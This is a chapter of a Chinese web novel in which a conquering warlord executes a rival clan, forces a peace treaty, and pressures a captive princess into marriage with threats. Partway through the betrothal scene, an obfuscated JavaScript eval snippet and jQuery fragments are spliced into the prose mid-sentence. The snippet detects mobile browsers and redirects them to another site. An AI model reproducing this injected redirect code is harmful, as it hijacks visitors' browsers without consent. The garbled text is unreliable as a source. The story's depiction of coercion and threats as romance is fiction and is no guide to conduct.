100. 第 100 章
作品:《帝姬她不接受强取豪夺》 冷静下来以后,纯懿仔细反思过,她着实不应该说那样的话。虽然那的确是她的真心话没错,可错在她不该在那个场合、在那个时间,对延陵宗隐袒露出她内心的不忿和怨怼。
纯懿本以为,依着延陵宗隐的性子,他会对于她的不识抬举很是愤怒,不知又要想出些什么狠厉法子来出气,可这一次,延陵宗隐却似乎将满腔的怒气全都发泄到了唐括家上。
唐括兀术做了国相那么多年,政敌也不少,在他落魄没多久,就被对家派来的死士杀于府中。虽然这件事明面上与延陵宗隐没什么干系,可以纯懿对他的了解,就算那死士不是他派去的,刻意为他们大开方便之门也定是少不了的。
毕竟,延陵宗隐从来没有什么一笑泯恩仇的胸襟,向来都是有仇就报,且要加倍的报,直到彻底出气为止。
连可以称得上对他有恩的唐括国相都死了,彻底惹怒了他的唐括家其余人的下场,自然也不会多好。
唐括额尔被他当场射杀,死状凄惨,唐括家的男人们之前已经入狱,本来只是关在里面等待审判,可这事一出,他们贪赃枉法、草菅人命的证据却突然如雨后春笋一般涌现而出,然后被执掌刑狱的官员以快到诡异的速度一一审结完毕,当即宣判,竟然是连远房亲族和所属部曲都尽数牵连其中,一个都没能逃掉。
虞娄五大部族之一、出过六任王后的唐括家就此消没。
唐括家合族覆灭的当晚,延陵宗隐来了纯懿的房间。他似乎是刚从刑场上回来的,并没有靠近纯懿,只是站在门口,一双黑眸比夜色还幽暗,定定看着她,里面暗潮汹涌,浑身带着的血腥气味浓厚到屋里的纯懿都清晰可闻。
“阿陌,满身都是血污和罪恶的人不是你,是我。”他的声音低沉,凉意森森给,“唐括家灭了大庆,现在他们已经死绝了。你解气了吗?”
纯懿沉默许久。她的声线柔和,可听在延陵宗隐耳中,却不知怎么得,比夜色还凉。
“你也灭了大庆,甚至是你率军攻入了汴京。”纯懿直视着与她相隔而立的延陵宗隐,气息紊乱,一字一字都分外清晰,“最该死的人是你。”
这下换延陵宗隐沉默了。他没有发疯,甚至连发怒都没有,竟然还轻轻扯了下唇角,露出一个嘲讽的笑容来:“我不会死的。”
延陵宗隐的身后是黑蒙的夜色,前方的纯懿却立于光明之中,让他控制不住地想要扑进她的光明里面去,或是将她拉到他的黑暗之中来。他缓缓摇头,强调道:“阿陌,我不会死的。你受过的苦,流过的泪,我一样一样,全部还你。”
处置完唐括家之后,延陵宗隐将全部精力都投入到了和谈之中。他甚至接受了几个南庆本来没报什么希望的条件,唯一的要求就是尽快签定和平协议,与南庆达成盟约,然后,将南庆使臣统统送走。
面对突然变得如此好说话的延陵宗隐,南庆使臣在受宠若惊之余,竟然还在签字前的关键时刻分裂成了两派。一派认为,延陵宗隐最近不知是撞了什么邪,竟然如此好说话,一定得趁着他脑子不清楚的时候,见好就收,赶快签订盟约,回国复命。
可另一派人却颇有些自得起来。他们坚持认为,延陵宗隐一定是被他们的大国气派所摄,现在是他延陵宗隐在求他们议和。延陵宗隐能退让一步,就能退让第二步,每与他多要一点好处,回去就能多挣个大大的功绩。
南庆两派人争执不休,因着实在无法达成一致,两次在签约前反悔,要求虞娄多给一些时间商议。第一次延陵宗隐忍了,第二次延陵宗隐也忍了,可在南庆使臣第三次没有如约出现在定盟现场时,延陵宗隐冷笑一声,二话不说,直接派人围了南庆使臣暂居的别院,用全身荷甲、披坚执锐的兵士将他们“请”了出来,强按着主使大人的手签了契约。
然后,他甚至连打包行李的时间都没给他们留,将南庆使臣们点清数字,确认一个没少之后,派人将他们从王宫直送到了上京城外。
这边送人,那边还很是贴心地命人去了别院,把南庆使臣们的东西囫囵一卷,一车载到城门外,统统丢到了正破口大骂的使臣旁边,就算是欢送他们离开了。
这般雷厉风行、嚣张强势的做派,终于让南庆使臣们清楚意识到,延陵宗隐还是那个草原狼主,他给你好脸色的时候,你最好赶紧听话,永远都别想着要过去摸摸他的毛发。
他会一掌拍碎你的脑袋。
纯懿听闻南庆使臣灰溜溜离开虞娄的事情之后,很是怒其不争,在屋里生了好几天的闷气,连带着对延陵宗隐也没有好脸色,要不就是故意与他呛声,要不就是干脆闭门不见。几天下来,延陵宗隐强撑着的耐心终于渐渐告罄,脸色一日比一日难看,显然正处在理智即将崩断的边缘。
纯懿对此甚至还有些庆幸,觉得这下延陵宗隐要不就是顾不上,要不就是没心情,应该有一段时间不会张罗那婚事了。
可谁知,下一个吉日到来时,延陵宗隐的聘礼还是送到了她的面前。
若是说之前的定礼已经很是丰厚,这次的聘礼就可以说是穷奢极尽了。两箱子黄澄澄的金元宝在阳光下闪着耀眼的光,镶嵌着各色宝石的头面成套成套的堆在一起,贴着螺钿的华丽家具流光溢彩,两只被红绸裹着的大雁也是活力充沛,眼神中带着桀骜的野性,显然也不是寻常的家雁。
延陵宗隐一身玄色皮袄,双手背在身后,两条长腿分开与肩同宽,身姿挺拔,笔直站在院子正中,听那穿红着绿的喜婆口若悬河地啰嗦:
“贵人真是好福气,看看这大雁,啧啧啧,可是郎主亲自去猎的。贵人可别小看这雁,可凶狠着咧,扑下来就啄人眼睛,连黑熊都不怕呢!”
喜婆眉飞色舞的,手脚一起比划着,不住说延陵宗隐的好话:“咱们郎主是什么人啊,那么重的大弓也能拉开,箭无虚发,一箭就将这野性难驯的畜生射下来了!别说普通人射空箭篓子也射不中了,就说咱们郎主怕伤了皮毛,还用的是圆头箭!啧啧啧,那英勇,那威风……”
纯懿微笑着开口:“听您这形容,郎主射雁的时候,您在旁边看着呢?”
那喜婆就噎住了。她张口结舌,看看笑得温婉的纯懿,又偷瞟冷下脸的延陵宗隐,急忙收拾了心情,转而去介绍那些聘礼:
“贵人看看,咱们郎主的聘礼备得多用心!都是郎主亲自挑拣的,全是顶好的东西,看看这三金的重量,看看这宝石的成色……”
纯懿这次甚至都没有耐心多听。她打断了那喜婆的话,径直拿起一副头面看了看,含笑点评
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678890|133831||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“造型俗套,雕工粗糙,只有重量实诚……倒也的确是贵重。”
喜婆又噎住了。
可能是南庆使臣可以称得上是屈辱的离开让纯懿心情不畅,今日的她是从来没有过的刻薄,喜婆说一句,她就凉凉的拆台一句,延陵宗隐的脸就更黑一层。到了后来,整个院子已经没有人敢再开口,就连舌灿莲花的喜婆也是冷汗涔涔,出口的每一个字都在微微颤抖。
在纯懿又一次将喜婆噎得无话可说时,延陵宗隐终于忍不住了。他长腿一迈,大步朝着纯懿走去,衣袍在他身侧翻飞,携带着猎猎的凉气和怒意。刚一走到纯懿面前,延陵宗隐一根手指就直直指向纯懿,带着十足的威胁和压迫,无声地要她闭嘴。
可当他微微俯身,看到只堪堪到他肩膀的纯懿昂起小巧的下巴,漂亮的眸中带着挑衅,洋洋得意耍小性子的时候,延陵宗隐竟然只觉得,面前这般吹毛求疵的纯懿是他之前从未见过的活泼样子,这种要命的可爱让他的满腔怒意就莫名消散了大半,心中只剩下无奈。
立在她面前的一根手指就变成伸展的大掌,揽在纯懿后脑,稍微用了些力道揉乱她的头发。延陵宗隐叹气:“这些先收着,不喜欢的,我后面再改。”
纯懿没想到,延陵宗隐的脾气竟然这么好了。她半是挑衅半是试探,故意得寸进尺:“这些东西就是做得再精致,也没什么新意。你根本就没有用心。”
延陵宗隐被她气笑了,下颌微扬,挑眉道:“哦?那怎么才算用心?”
“听说你已经与南庆使臣签订了盟约?”纯懿直截了当的,“既然如此,干脆就让仍然滞留在虞娄的庆人随着使臣一起回去吧。怎么样,这个主意足够有新意吧?”
延陵宗隐没想到纯懿竟然会提起这个。他沉下脸,声音也冷了下来:“你又想干什么?”
“放了人质啊。”纯懿倒是回答的很理所当然,坦坦荡荡回望着延陵宗隐的眼眸,“我怕我哪天又惹怒你,你手里攥着这么多人质来要挟我,那就不好了。好不容易现在趁着有机会,能放走几个就放走几个。你说呢?”
延陵宗隐自然猜得到纯懿打的是什么主意。不过他以为,纯懿一定还用一些冠冕堂皇的话来骗他,却没想到,她竟然如此坦诚。
可正如纯懿所说,那些庆人都是他的人质,就算不是人质,也已经是虞娄的奴隶,他自然不能轻易放了他们。微一怔愣,延陵宗隐刚想断然拒绝,纯懿却抢在他前面开口:“在大庆,为了祈求婚姻圆满顺利,新人都要放生鸟雀鱼龟的。可你双手沾满血腥,背了满身人命,鸟雀鱼龟估计化解不了你的孽债,给这么多人一条生路,上天说不定还能多垂怜你一分。”
提到这个,延陵宗隐就沉默了。他定定看着纯懿,眸子黑若深潭,内里席卷着惊涛骇浪,外表却仍是平静淡然。
许久之后,他才开口,说的却是:“南庆使臣已经离开,你已经没有倚仗,只剩下软肋,尽数被我握在手中。”
“收下聘礼,等待婚仪,安分待在我身边,为我生儿育女,这是你唯一的路。”延陵宗隐大掌轻轻抚过纯懿的脸颊,带着厚茧的手指在她柔嫩的唇瓣上摩挲,话语称得上温情,神情却透着狠厉,赌咒一般,“你若是不想笑着走,哭着也无妨。我不在乎。”